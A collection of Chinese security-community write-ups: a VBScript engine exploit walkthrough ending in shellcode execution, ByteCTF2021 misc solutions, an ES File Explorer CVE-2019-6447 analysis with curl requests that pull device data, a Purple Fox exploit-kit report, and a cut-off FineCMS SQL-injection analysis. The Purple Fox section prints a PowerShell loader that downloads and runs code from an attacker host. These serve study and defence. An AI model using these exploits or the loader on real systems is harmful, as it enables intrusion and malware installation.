Alert "VBScript Base: 0x" & Hex(vbs_base)
'遍历VBScript.dll导入表找到msvcrt.dll基地址
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
Alert "MSVCRT Base: 0x" & Hex(msv_base)
'遍历msvcrt.dll导入表找到kernelbase.dll基地址
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
Alert "KernelBase Base: 0x" & Hex(krb_base)
'遍历msvcrt.dll导入表找到ntdll.dll基地址
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
Alert "Ntdll Base: 0x" & Hex(ntd_base)
'从kernelbase.dll找到VirtualProtect函数地址
VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr)
'从ntdll.dll找到 NtContinue 函数地址
NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
Alert "Ntdll!NtContinue Address 0x" & Hex(NtContinueAddr)
最后就通过以下代码返回Shellcode地址：
//PoC源码
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
IsEmpty(ShellcodeAddr)
最后进行一个总结的话就是从取得全地址读写权限以后，进行的构造是从 VAR::Clear 中调用了 ntdll!ntContinue，而且又仿造好了一个了
CONTEXT结构体，这样利用 ntdll!ntContinue还原了一个假的进程。且 eip 就是
VirtualProtect,而栈空间esp是前面准备好的，返回值为shellcode入口，VirtualProtect的执行参数也是shellcode区域，最后VirtualProtect函数执行完，直接返回到shellcode的开始处开始执行。
## 五、 实验结果
这次实验最终的结果首先就是对于漏洞产生进行的一个验证，然后就是通过POC进行一个计算器的弹出：
## 六、 问题与感悟
在调试、复现漏洞的过程中遇到的第一个问题就是windbg的配置问题，其中主要是由于symbol无法正常匹配所产生的问题，而无法正常读取符号表的问题也就是symbol相对应的网络链接被墙了，导致无法访问，最后的解决方法也就是通过下载离线的符号表进行本地调用。之后存在的第二个问题的话就是在我们之前调试POC实现全地址读写中有一个关键点就是在最后使用myclass1占位空间时，vbs引擎并未清理掉之前myclass２的成员变量mem，而该变量地址刚好与myclass1.mem相差0xC，以至于后续可以实现类型混淆构造出任意地址访问的数组结构。之后通过调试可以理解到类结构解析过程中各成员的初始化顺序以及VBS中特有的默认属性构造函数default
property get function的执行逻辑。这个时候再回过头来看一下之前提到过的一个数据结构：
按照上述结构可以根据类对象0x30的结构解析出对象中各成员（成员函数和成员变量）的具体位置。动态验证过程中不难发现在实际成员初始化的过程中，各成员会以VARIANT的形式按照既定的初始化顺序存储在一段连续的内存空间中。这里我们就可以知道类成员的内存分配，根据所有成员按需且遵循前面提到的初始化顺序申请一块连续的内存空间，各成员VVAL1，VVAL2，VVAL3…均以一个0x10的VARIANT结构呈现，相邻成员变量之间偏移等于一个固定的内存空间0x32+前一个成员名称（UNICODE字符串）的长度。
最后的话就来一个综合的理解：
1、初始占位内存的地址为0x0235f4bc、即类对象第一个初始化的成员变量的VARIANT结构地址。
2、用myclass2占位时，myclass2.mem的VARIANT地址= 0x0235f4bc + 0x32 +len(“p”) +0x32 +
len(“setprop”) = 0x0235f530。
其VARIANT结构：00000008 00000000 002aa5e4 00000000。
3、用myclass1占位前，myclass1.mem的VARIANT地址= 0x0235f4bc + 0x32 +len(“p0123456789”)
+0x32 + len(“p01”) = 0x0235f53c。
其VARIANT结构：00000008 00000000 002aa5e4 00000000。
4、调用myclass2.setprop(myconf)，myconf类的default property get
p将浮点数174088534690791e-324（内存结构为：00000005 000005dd 00000000
0000200c）赋给myclass2.mem。由于myclass1.mem与myclass2.mem的VARIANT结构偏移0xc，将会覆盖上一步中的“0008”为“200c”，如下图所示。
通过逆向分析、调试以及复现这个cve，我感觉自己又丰富了一些新的知识，之前很多知识都是一知半解，不是很能理解写相应脚本的思路是什么，这次实实在在的通过静态分析和动态分析相结合的方式，可以说是比较完整地理解了这个cve以及相关的利用代码了，收获颇大。 | 社区文章 |
# ByteCTF2021 MISC部分 解题思路和复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
来写写ByteCTF2021的misc部分的解题思路，有些是比赛的时候出的，有些带点脑洞是赛后复现的，总体来说质量还不错
## HearingNotBelieving
音频题，看频谱图前半部分是二维码
手动补全即可
m4yB3_
后面音频听着像慢扫电视
继续手撸，纯体力活啦
故flag为:ByteCTF{m4yB3_U_kn0W_S57V}
## BabyShark
看到baby，一开始试图全局搜索bytectf从而获得flag
结果找到一个这个，追踪进去发现是一个Kotlin的apk
导出后反编译失败，说没找到classes.dex
重新检查流量包的数据，发现多了数据WRTE…..
从而导致压缩包解析错误
从这，压缩包内的文件路径被WRTE块截断，从而不难看出wrte是24字节的冗余数据，手动剔除
手动删除完毕，再反编译
package com.bytectf.misc1;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.os.StrictMode;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;
public class MainActivity extends AppCompatActivity {
/* access modifiers changed from: protected */
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView((int) C0095R.layout.activity_main);
if (Build.VERSION.SDK_INT > 9) {
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
}
String decrypt = AesUtil.decrypt(getAESKey(getPBResp(), loadPBClass(getPBClass()).getMethods()[37]), "8939AA47D35006FB2B5FBDB9A810B25294B5D4D76E4204D33BA01F7B3F9D99B1");
}
public Class loadPBClass(String jarFilePath) {
try {
return new DexClassLoader(new File(jarFilePath).getAbsolutePath(), getDir("dex", 0).getAbsolutePath(), (String) null, getClassLoader()).loadClass("com.bytectf.misc1.KeyPB").getClasses()[0];
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public String getPBClass() {
if (ActivityCompat.checkSelfPermission(this, "android.permission.READ_EXTERNAL_STORAGE") != 0) {
ActivityCompat.requestPermissions(this, new String[]{"android.permission.READ_EXTERNAL_STORAGE"}, 1);
return HttpUrl.FRAGMENT_ENCODE_SET;
} else if (ActivityCompat.checkSelfPermission(this, "android.permission.WRITE_EXTERNAL_STORAGE") != 0) {
ActivityCompat.requestPermissions(this, new String[]{"android.permission.WRITE_EXTERNAL_STORAGE"}, 1);
return HttpUrl.FRAGMENT_ENCODE_SET;
} else if (Environment.getExternalStorageState().equals("mounted")) {
return Environment.getExternalStorageDirectory().getAbsolutePath() + "/PBClass.dex";
} else {
return HttpUrl.FRAGMENT_ENCODE_SET;
}
}
public long getAESKey(byte[] pb_bytes, Method parseFrom) {
try {
Object respObj = parseFrom.invoke((Object) null, new Object[]{pb_bytes});
return ((Long) respObj.getClass().getMethod("getKey", new Class[0]).invoke(respObj, new Object[0])).longValue();
} catch (Exception e) {
e.printStackTrace();
return -1;
}
}
public byte[] getPBResp() {
byte[] pb_res = new byte[0];
try {
return new OkHttpClient().newCall(new Request.Builder().url("http://192.168.2.247:5000/api").build()).execute().body().bytes();
} catch (IOException e) {
e.printStackTrace();
return pb_res;
}
}
}
主要是这里，其中getPBResp()中的api的结果可以从流量包中得到
然后难点就在于密钥生成的时候调用了getPBClass()，进而调用了PBClass.dex，这里的dex不能直接获取，但是要是换个思路，安卓下的PB，很容易想到ProtoBuf，想不到的话百度也不难搜到
而且，不难发现反编译得到的com.google包内就存在protobuf
那么就拿通过api得到的17字节的数据去解一下
显然1对应的就是符合long长度的key，去解一下
## Lost Excel
excel文件，要溯源是谁泄露的，不难想到水印，先单独导出excel的水印图片后，发现0通道存在色点，但中间是有污染的
给了一个hint，提示说Block size = 8. Notice repeating patterns.
既然已经存在空域隐写了，再来频域转换可能性不大，故只考虑像素的规律
结合块大小为8，这里暂且先考虑是8*8的像素块，用ps分割一下看看
我们可以看到，刚巧每个8*8的像素块中最多有1个黑色块，且图中被红色框出的两块可以很明显的看出是重复的，所以其实我们只需使用上半部分即可，这样就可以避免掉原本中间被污染案的部分，再结合黑色像素块出现的位置(四种情况)可以对应转四进制，脚本如下
import cv2
img = cv2.imread(r'1.png')[:, :, 0]
h, w = img.shape
for j in range(0, h, 8):
for i in range(0, w, 8):
block = img[j:j + 8, i:i + 8]
if block[0, 0] == 0:
print(0, end='')
elif block[0, 4] == 0:
print(1, end='')
elif block[4, 0] == 0:
print(2, end='')
elif block[4, 4] == 0:
print(3, end='')
print('')
得到四进制，这里再转一下ascii
得到flag ByteCTF{ExcelHiddenWM}
## frequently
拿到流量包，大致看看首先是dns的流量很奇怪
这个神似base64的域名不难想到有dns tunnel数据啊
还有一个io的也可以试试转01
这里先看看dns tunnel
值得注意的是流量中存在红色框中重复的，也有蓝色框中重复但id不同不能剔除的，故分别导出域名和id然后比对过滤
> .\tshark.exe -r frequently.pcap -T fields -e dns.qry.name -Y “dns and
> ip.src==8.8.8.8 and frame.len!=91” > 0.txt
>
> .\tshark.exe -r frequently.pcap -T fields -e dns.id -Y “dns and
> ip.src==8.8.8.8 and frame.len!=91” > 1.txt
然后结合起来剔除重复
dns = open(r'0.txt').read().splitlines()
id = open(r'1.txt').read().splitlines()
idli=[]
for i in range(len(dns)):
if id[i] not in idli:
idli.append(id[i])
print(dns[i].split('.')[0],end='')
print('')
得到base64了，decode一下
很明显的png图片啊，导出看看
恶俗出题壬….搁这放诱捕器呢
再有io对应转10
这里可看到长度都是91且源ip都是8.8.8.8，以此过滤
> .\tshark.exe -r frequently.pcap -T fields -e dns.qry.name -Y “dns and
> ip.src==8.8.8.8 and frame.len==91” > res.txt
oi对应转01
s = open(r'res.txt').read().splitlines()
for i in s:
print(1, end='') if 'i' in i else print(0, end='')
print('')
>
> 010101000110100001100101001000000110011001101001011100100111001101110100001000000111000001100001011100100111010000100000011011110110011000100000011001100110110001100001011001110011101000100000010000100111100101110100011001010100001101010100010001100111101101011110010111110101111001100101011011100100101000110000011110010010011001111001001100000111010101110010
ok得到前半部分
然后继续，再去看看有什么流比较可疑
这里可以看到udp流有足足900+，且这里蓝色框中有一个内网ip向10.2.173.238发送过udp流，而10.2.173.238正是刚才发送dns解析的，故再来看看10.2.160.1
可以看到他发送了一堆dhcp报文
且报文的option字段还存在dns服务器是bytedance.net，十分可疑
进一步查看，他的租约期太短了吧，才几分钟
而且每次的租约时间都不同
故我们考虑获得dhcp.option.ip_address_lease_time字段（即租约时间）来看看
> .\tshark.exe -r frequently.pcap -T fields -e
> dhcp.option.ip_address_lease_time -Y “ip.src==10.2.160.1” > res.txt
得到
> 115
> 115
> 101
> 49
> 102
> 95
> 119
> 73
> 116
> 104
> 95
> 109
> 49
> 115
> 99
> 94
> 95
> 94
> 125
简单转一下ascii
结合一下就行了 | 社区文章 |
**作者：0x7F@知道创宇404实验室
时间：2019.02.27
英文版本：<https://paper.seebug.org/948/> **
### 0x00 前言
ES 文件浏览器(ES File Explorer File Manager
application)是一款安卓系统上的文件管理器，它支持在手机上浏览、管理文件。有超过 1 亿次下载量，是目前安卓系统上使用得最广的文件管理器。
2019年1月，由国外安全研究者公开一个关于 ES 文件浏览器的安全漏洞(CVE-2019-6447)。
2月下旬，笔者浏览到该漏洞的相关文章，想借此机会学习 APK 逆向，随即对该漏洞进行了复现分析，结合已公开的分析文章，发现原理非常简单，下面就来一探究竟吧。
### 0x01 漏洞概述
ES 文件浏览器在运行时会创建一个绑定在 59777 端口的 HTTP 服务，在该服务提供了 10+
个命令，用于访问用户手机的数据以及执行应用程序；但该服务并没有对请求进行校验，从而导致出现安全漏洞。
**影响范围**
<= ES 文件浏览器 v4.1.9.7.4
**修复方式**
前往应用商城下载最新版即可。修复该漏洞的版本为(v4.1.9.9)
### 0x02 漏洞复现
**漏洞复现环境**
* Windows 7
* OPPO R7
* ES 文件浏览器v4.1.9.4
* ADB (Android Debug Bridge)
**复现过程**
1. 通过 USB 连接手机与电脑，并打开 USB 调试。
2. 通过 ADB 检查设备连接情况，并安装 ES 文件浏览器v4.1.9.4 到设备上。
3. 在手机上可以看到 ES 文件浏览器已经安装成功，启动该应用；通过 ADB 查看当前网络端口情况，可以看到 59777 端口已经打开。
4. 将手机和电脑配置到同一 WIFI 下，便于我们进行访问测试。
5. 构造 HTTP 数据报文，将命令封装至 Json 数据中，请求 59777 端口；这里演示 `getDeviceInfo` 命令，可以看到成功返回了设备的信息。
### 0x03 漏洞分析
**反编译dex文件**
对 ES 文件浏览器v4.1.9.4 进行分析，首先将该 APK 进行解压，可以看到其中包含了三个 `*.dex` 文件。使用 dex2jar
工具分别这三个文件进行反编译，得到三个 `*.jar` 文件。
使用 jd-gui 工具加载这三个 `jar` 文件，使用关键词搜索 `59777`、`command`、`getDeviceInfo`
以快速定位到漏洞逻辑部分，其位于 `classes2-dex2jar.jar` 下的 `com.estrongs.android.f.a` 路径下。
**ES HTTP支持的指令**
上图中，可以看到除了 `getDeviceInfo` 命令，该 HTTP 服务还支持不少的命令：
command | description
---|---
listFiles | 列出所有的文件
listPics | 列出所有的图片
listVideos | 列出所有的视频
listAudios | 列出所有的音频
listApps | 列出安装的应用
listAppsSystem | 列出系统自带的应用
listAppsPhone | 列出通信相关的应用
listAppsSdcard | 列出安装在sd卡上的应用
listAppsAll | 列出所有的应用
getAppThumbnail | 列出指定应用的图标
appLaunch | 启动制定的应用
appPull | 从设备上下载应用
getDeviceInfo | 获取系统信息
除了以上列出的命令，还可以直接访问 `url+系统文件路径`，直接访问文件数据：
curl --header "Content-Type: application/json" http://192.168.0.105:59777/etc/wifi_mos.sh
命令执行示例(列出所有的文件)：
curl --header "Content-Type: application/json" --request POST --data "{\"command\":\"listFiles\"}" http://192.168.0.105:59777
**命令处理**
其命令处理部分逻辑大致就是进行相应的逻辑处理，并将执行的结果封装为 Json 数据格式，拼接为 HTTP 协议进行返回，下面是
`getDeviceInfo` 的处理逻辑：
通过以上的功能逻辑可以看到，HTTP 服务是 ES 文件浏览器的一个内置功能，可能是用于不同设备之间的共享，但由于没有对请求进行校验，导致安全问题的出现。
### 0x04 补丁分析
下载已补丁的版本 v4.1.9.9.3，同样对 APK 进行解包，通过 dex2jar 反编译为 `*.jar` 文件，对文件进行分析。
**POST 请求校验**
v4.1.9.9.3 版本可能重新进行了代码混淆，其反编译后的机构和 v4.1.9.4
有很大的差别；我们仍然使用关键词搜索来快速定位到之前的漏洞逻辑部分。位于 `classes3-dex2jar.jar` 下的 `es.qg` 路径下。
从上图可以看到，标注地方是新版本所添加的补丁，在处理请求时，首先进行检查，检查失败的情况下返回 400 错误。
跟入 `ap.d()` 函数中，可以看到两个关键检查函数：
1.检查函数1
该函数获取了 `UIModeManager` 对象，当该对象的类型等于 `4` 时，返回 `true`，通过查阅官方文档，在该处数值 4 对应的类型为
`UI_MODE_TYPE_TELEVISION`，也就是安卓TV的类型。说明官方将该功能限制在安卓TV的设备上了。
2.检查函数2
检查函数2依然是对安卓TV的判断，在上一步函数获取了屏幕的尺寸并转换成了一个值，在该处判断值要大于 20，才能返回 `true`。
#### Android TV会受到威胁？
根据以上补丁的情况来看，可以猜测到 Android TV 似乎受到该漏洞的威胁，但实际上并不会。因为 Android TV
处理流程和手机版的不同，本身也不受该漏洞的影响。
将有漏洞的版本(v4.1.9.4)安装至 Android TV 上；经过测试可以发现，在 Android TV 下发起请求将直接返回 `500` 错误。
原因是程序在判断设备是 TV 时，会首先提前做一次来源 IP 检查(判断是否由是本地发起的请求，检查失败也返回 `500`
错误)，随后再检查可访问的路径，如下函数(`classes3-dex2jar.jar/es.qj$a`)：
但经过测试，发现该数组的值为 `NULL`，直接返回 `false`
最终跳转至该语句，返回 `500` 错误。所以 Android TV 也不会受到该漏洞的影响。
**Get请求列目录修复**
在上文中还提到发送 `GET` 请求可以列文件，在新版本也进行了修复。
当以 `GET` 方式发起请求时，将进入 `ai.bK()` 的函数判断，在该函数中检查了 HTTP 的数据必须以 `http://127.0.0.1:`
开头，才可以返回文件列表；HTTP 协议都是以 `GET/POST/...`
开头，肯定不会以这个方式开头，虽然不太理解这个检查，但还算是解决了列目录的问题。
### 0x05 总结
通过以上的分析，可以完整的了解到 ES
文件浏览器安全漏洞的触发过程以及补丁情况；整体看来就是，开发者在设计共享访问功能的时候忽略对请求的检查，从而导致的安全漏洞。
### References:
* Github: <https://github.com/fs0c131y/ESFileExplorerOpenPortVuln>
* Twitter: <https://twitter.com/fs0c131y/status/1085460755313508352>
* techcrunch: <https://techcrunch.com/2019/01/16/android-app-es-file-explorer-expose-data/>
* Freebuf: <https://www.freebuf.com/vuls/195069.html>
* smwenku: <https://www.smwenku.com/a/5c45ee68bd9eee35b21ef1db/zh-cn>
* * * | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://labs.sentinelone.com/purple-fox-ek-new-cves-steganography-and-virtualization-added-to-attack-flow/>**
### 摘要
* 最近几周，攻击者利用Purple Fox攻击Internet Explorer的次数激增。
* 我们的调查显示，Purple Fox利用了两个最新的CVEs—CVE-2020-1054和CVE-2019-0808。
* 此外，我们还注意到他们的攻击流发生了变化，这使得他们能够更好地规避防火墙保护和一些检测工具，通过采用代码虚拟化技术隐藏恶意代码。
在过去的几年里，Purple
Fox改进了它的攻击方法。它于2018年9月被首次[观察](https://blog.360totalsecurity.com/en/purple-fox-trojan-burst-out-globally-and-infected-more-than-30000-users/
"观察")到，随后在[2019年放弃了使用NSIS](https://www.trendmicro.com/en_ca/research/19/i/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell.html "2019年放弃了使用NSIS")（Nullsoft Scriptable Install
System）和Rig攻击工具包的使用，转而采用PowerShell来实现无文件执行。今年早些时候，ProofPoint[详细介绍](https://www.proofpoint.com/us/blog/threat-insight/purple-fox-ek-adds-exploits-cve-2020-0674-and-cve-2019-1458-its-arsenal "详细介绍")了Purple
Fox是如何将CVE-2020-0674和CVE-2019-1458添加到武器库中的。我们的研究表明，攻击者添加了更多的CVE来实现权限提升，并且采用了隐写和虚拟化技术来避免检测和阻碍分析。
### 有效载荷
在我们观察到的攻击中，受害者通过广告或仅通过单击错误的URL被引导到恶意网站。攻击者将其恶意软件托管在`speedjudgementacceleration[.]com`上，并将目标锁定在Internet
Explorer用户上。
该漏洞利用[VBScript代码作为命令行](https://lolbas-project.github.io/lolbas/Binaries/Mshta/#execute "VBScript代码作为命令行")运行mshta.exe
，然后运行PowerShell。PowerShell代码下载并执行下一阶段：`http[:]//rawcdn[.]githack[.]cyou/up.php?key=1`。
图1：SentinelOne代理对攻击的自主检测
下一阶段遵循与以往版本的Purple Fox类似的模式。首先检查它是否以管理员权限运行。如果是，它将直接从攻击者的站点安装key =
2的MSI软件包。否则，它会尝试几种不同的本地权限升级漏洞来首先提升自身。
### 新权限升级漏洞
在最新版本的Purple Fox中，攻击者改进了两点。
过去，Purple
Fox会下载使用图像文件扩展名（update.jpg）的本地权限提升（LPE）二进制文件，但实际上它是一个常规的可执行文件。这种技术很容易被防火墙或安全软件检测为恶意。
现在，新版本的漏洞利用工具包将下载实际的映像文件（key = 3和key = 4），并使用隐写术将每个LPE嵌入映像中。所用图像之一的示例如下所示：
下载后，这将被提取到内存中。运行并解码以下代码：
$uyxQcl8XomEdJUJd='sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http[:]//rawcdn[.]githack[.]cyou/up.php?key=3"));$o=a Byte[] 589824;(0..575)|%{foreach($x in(0..1023)){$p=$g.GetPixel($x,$_);$o[$_*1024+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..589362]))'
IEX ($uyxQcl8XomEdJUJd)
此外，现在正在利用两个新漏洞来帮助提升本地权限：[CVE-2020-1054](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1054
"CVE-2020-1054")和[CVE-2019-0808](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808
"CVE-2019-0808")。两者都是Win32k组件中的内核漏洞。CVE-2020-1054于今年5月进行了修补。我们发现的利用这些漏洞的攻击者二进制文件分别于2020年8月11日和2020年9月10日编译。
该漏洞利用程序包含调试信息和大量信息字符串。例如，CVE-2020-1054上的调试路径为：
D:\Personal\Windows\Windows10\Desktop\CVE-2020-1054-master\CVE-2020-1054-master\x64\Release\CVE-2020-1054.pdb
该代码来自Git存储库，我们能够快速将漏洞利用追踪到以下公共存储库：[CVE-2020-1054](https://github.com/KaLendsi/CVE-2020-1054/blob/master/CVE-2020-1054/exploit.cpp
"CVE-2020-1054")，[CVE-2019-0808](https://github.com/DreamoneOnly/CVE-2019-0808-32-64-exp/blob/master/CVE-2019-0808/main.cpp
"CVE-2019-0808")。
不幸的是，到目前为止，在野外寻找更多具有类似特征的二进制文件至今没有结果。
值得注意的是，所有脚本都在`HKCU \ Software \
7-Zip`下检查名为“StayOnTop”的特定且一致的注册表值。似乎设置此值可使恶意软件确定有效负载是否成功运行。因此，在计算机的注册表中找到该值表明Purple
Fox做出了让步。
### Rootkit有效负载
PowerShell脚本和权限升级利用的目的是在计算机上安装rootkit。我们在新域中找到了两个版本的恶意软件，它们都是rootkit的MSI安装程序。其中一个文件丢失了。但是，我们在进行完整文件的分析时[发现了一些惊喜](https://www.virustotal.com/gui/file/9208e853d6de61f1640822ae723e0d40730e29cef5a660419b95fd32c84c9ade/details
"发现了一些惊喜")。
安装过程大致相同。重启后，我们仍然看到使用[PendingFileRenameOperations](https://qtechbabble.wordpress.com/2020/06/26/use-pendingfilerenameoperations-registry-key-to-automatically-delete-a-file-on-reboot/
"PendingFileRenameOperations")将文件放置在目录下system32。但是，MSI软件包中的[CustomAction表](https://docs.microsoft.com/en-us/windows/win32/msi/customaction-table
"CustomAction表")具有vbscript代码，该代码除其他外运行以下命令：
vbs.Run "takeown /f %windir%\system32\jscript.dll",0,True
vbs.Run "cacls %windir%\system32\jscript.dll /E /P everyone:N",0,True
vbs.Run "takeown /f %windir%\syswow64\jscript.dll",0,True
vbs.Run "cacls %windir%\syswow64\jscript.dll /E /P everyone:N",0,True
vbs.Run "takeown /f %windir%\system32\cscript.exe",0,True
vbs.Run "cacls %windir%\system32\cscript.exe /E /P everyone:N",0,True
vbs.Run "takeown /f %windir%\syswow64\cscript.exe",0,True
vbs.Run "cacls %windir%\syswow64\cscript.exe /E /P everyone:N",0,True
vbs.Run "powershell Start-Sleep -Seconds 900; Restart-Computer -Force",0,false
有趣的是，这些命令直接来自Microsoft的咨询，内容涉及如何防御CVE-2020-0674漏洞（Internet Explorer
RCE），Purple Fox使用此漏洞获得了初始访问权限。我们推测保护新感染的计算机不受该漏洞的影响可能是为了阻止竞争对手。
从MSI软件包中提取恶意软件后，我们注意到有效负载还具有一项重要的新功能：受[VMProtect保护](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV200001 "VMProtect保护")。
从PE的分区表中可以轻松观察到VMProtect的使用：
图2：“.vmp%d”部分的入口点清楚地表明了VMProtect
这使得反转变得更加困难，因为它使用了许多技术来隐藏原始代码并对其进行模糊处理。
### Unpacking VMProtect
反转VMProtected二进制文件时，有两个主要障碍需要克服：打包数据和虚拟指令。
我们首先必须解压缩二进制文件中的数据。为此，我们使用[x64dbg](https://x64dbg.com/
"x64dbg")打开了文件。之后，我们在VirtualProtect函数的开始处放置一个断点。
我们想要记录对该函数的所有调用，因此我们在“Log Text”框中输入：`VirtualProtect: lpAddress={a:[esp+4]},
dwSize={d:[esp+8]}, flNewProtect={x:[esp+C]} ;`
运行它直到崩溃，将产生以下输出：
VirtualProtect: lpAddress=x86_pf.00401000, dwSize=153444, flNewProtect=40 ;
PAGE_EXECUTE_READWRITE
VirtualProtect: lpAddress=x86_pf.00427000, dwSize=1032, flNewProtect=40 ;
PAGE_EXECUTE_READWRITE
VirtualProtect: lpAddress=x86_pf.0047D000, dwSize=76, flNewProtect=4 ;
VirtualProtect: lpAddress=x86_pf.0047E000, dwSize=68, flNewProtect=4 ;
VirtualProtect: lpAddress=x86_pf.00401000, dwSize=153444, flNewProtect=20 ;
PAGE_EXECUTE_READ
VirtualProtect: lpAddress="ƒ-", dwSize=1032, flNewProtect=20 ;
VirtualProtect: lpAddress=x86_pf.0047D000, dwSize=76, flNewProtect=2 ;
我们可以看到数据可能已经解压缩到虚拟地址0x401000，因此我们将要监视该地址，直到将数据写入该地址为止。
重新启动程序后，我们再次在VirtualProtect上放置一个断点，并使该断点命中八次。然后，我们将EIP设置为该地址，并使用x64dbg的内置Scylla插件转储二进制文件并修复其导入：
这为我们提供了一个更小的、可调试的DLL文件，其中包含大量纯文本字符串，以帮助我们调查恶意软件。
DLL的代码仍使用[虚拟化的调用](https://oreans.com/CodeVirtualizer.php
"虚拟化的调用")进行了模糊处理，但幸运的是，我们在字符串中找到了这一点：
Hid_State
Hid_StealthMode
Hid_HideFsDirs
Hid_HideFsFiles
Hid_HideRegKeys
Hid_HideRegValues
Hid_IgnoredImages
Hid_ProtectedImages
这与之前报道的rootkit版本类似，这只是他们下载和编译的一个公共rootkit。从这些信息中，我们推断他们还没有实质性地升级rootkit中的功能。
### 结论
Purple
Fox工具正在积极开发中。自2018年9月以来，我们研究发现，攻击者正在追踪Microsoft补丁程序，以利用那些未能及时修补的漏洞。这种新的变体通过隐藏LPE二进制文件来提高其逃避检测的能力，并利用可商购的软件来保护其代码免受分析。
### IOC
**SHA1**
c82fe9c9fdd61e1e677fe4c497be2e7908476d64 CVE-2019-1458.exe
e43f98c0698551f997649c75a2bfe988f72060c0 CVE-2020-1054.exe
82af45d8c057ef0cf1a61cc43290d21f37838dd1 cve_2019_0808.exe
6cac8138f1e7e64884494eff2b01c7b1df83aef2 rootkit_from_cve_2019_0808.msi
e65c1a74275e7099347cbec3f9969f783d6f4f7d cve_2019_0808.ps1
bdeed6792463713806f39c3b5abc0d56f176e88f key1.bin
921d1beb3c48b03e20ba1ea07ea1c8f8fc97ec8e key2.bin
2c5c07c969dd715d0e696f8a8e9e6754a9114d4e key3.bin
5a680f659c91870a819ede06746f21282a4929d1 key4.bin
60f2624c39f61ec6c2eff09d463ca57d9a227b9b key5.bin
bd00f0e6e8cbe0b486fe0aad9e6e38ea606f7044 key6.bin
9ba5e84fccf1012343ba72e9584c6af3beb8b361 key7.bin
57b4eac452c2e8c73222d0915a97a63b43d391de key8.bin
57b4eac452c2e8c73222d0915a97a63b43d391de key9.bin
c21b1397d25ece8221e981eb5289c592f71ab4ca rootkit_encrypted_payload
0470d80daf464b5ea5ee80e2db18e0582f6dbfaf rootkit_x86
bc9766d405913a6162d3747a5a7d0afe1857ac88 rootkit_x64
**SHA256**
079c13fbc30a32e4f0386cd53c56d68404961b8f1cd4d4fde1a1e9def42aa557
CVE-2019-1458.exe
7465b738ba31fa2fff7fef1d770ef32e43b01d49a937b3b1c11dc2e4e45fd019
CVE-2020-1054.exe
babfd8e70102479dea4f239c1ee5de463af07c73a94592b390257c5b3d2878a9
cve_2019_0808.exe
9208e853d6de61f1640822ae723e0d40730e29cef5a660419b95fd32c84c9ade
rootkit_from_cve_2019_0808.msi
e30d7375f5f88847b810755f0a2cda82e8eeb084a3b989c85d6f13f6a1c01f38
cve_2019_0808.ps1
b48c61983f2d453d4d6a5ff1f2c9e0e194d7ae892a2649d7bafd267082033748 key1.bin
49d9f5aaeb6fd10d371afbebf33ffed184b22e66350a12a60cbbe34ff1fadf9e key2.bin
8392f7bc7bd93ab035e609619e0915b7e8c91288fc6eb19237c0e2019f8dcaa2 key3.bin
13b0e2769d7a0b3964c4e491f90fc4518f8e5ae4d8c37082ffe764b3a174e9a7 key4.bin
6bee844cdd424c970ff8bba22385ae4c1ae51c2b4e036ba1a217ba37e100530f key5.bin
e49327a62e4500ac23fa0b506c565350fbc9afd497198a8b4b8ae8f537146d53 key6.bin
321eeafe6a9dbd424bf9fdf7ded1ef18c7cab68fadb58cd0da5a1c74479a509f key7.bin
01662ffa9a1c637307e1d148ac2492c69d6035ca87424cbb11e44a178002abc4 key8.bin
01662ffa9a1c637307e1d148ac2492c69d6035ca87424cbb11e44a178002abc4 key9.bin
cfae7a1935f0aaf0f76322f29ad0e0fd1a77d325e55fa324a0bb19e264760800
rootkit_encrypted_payload
181551603ebebbf5924247212c0ed93b6c9c4b088e612bf04f5996c227563318 rootkit_x86
1209aece1f9f54e6422083791eb8a59df878f6959beae9e53736e3056459ab1e rootkit_x64
**Domains**
speedjudgmentacceleration[.]com
rawcdn[.]githack[.]cyou
dl[.]gblga[.]workers.dev
dl[.]fmhsi[.]workers.dev
* * * | 社区文章 |
漏洞位置在：
finecms/dayrui/controllers/member/Api.php 590行左右
public function checktitle() {
$id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module');
(!$title || !$module) && exit('');
$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
$num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
}
可以看到方法count_all_results()使用了$module,count_all_results()方法如下：
public function count_all_results($table = '', $reset = TRUE)
{
if ($table !== '')
{
$this->_track_aliases($table);
$this->from($table);
}
// ORDER BY usage is often problematic here (most notably
// on Microsoft SQL Server) and ultimately unnecessary
// for selecting COUNT(*) ...
if ( ! empty($this->qb_orderby))
{
$orderby = $this->qb_orderby;
$this->qb_orderby = NULL;
}
$result = ($this->qb_distinct === TRUE OR ! empty($this->qb_groupby) OR ! empty($this->qb_cache_groupby) OR $this->qb_limit OR $this->qb_offset)
? $this->query($this->_count_string.$this->protect_identifiers('numrows')."\nFROM (\n".$this->_compile_select()."\n) CI_count_all_results")
: $this->query($this->_compile_select($this->_count_string.$this->protect_identifiers('numrows')));
if ($reset === TRUE)
{
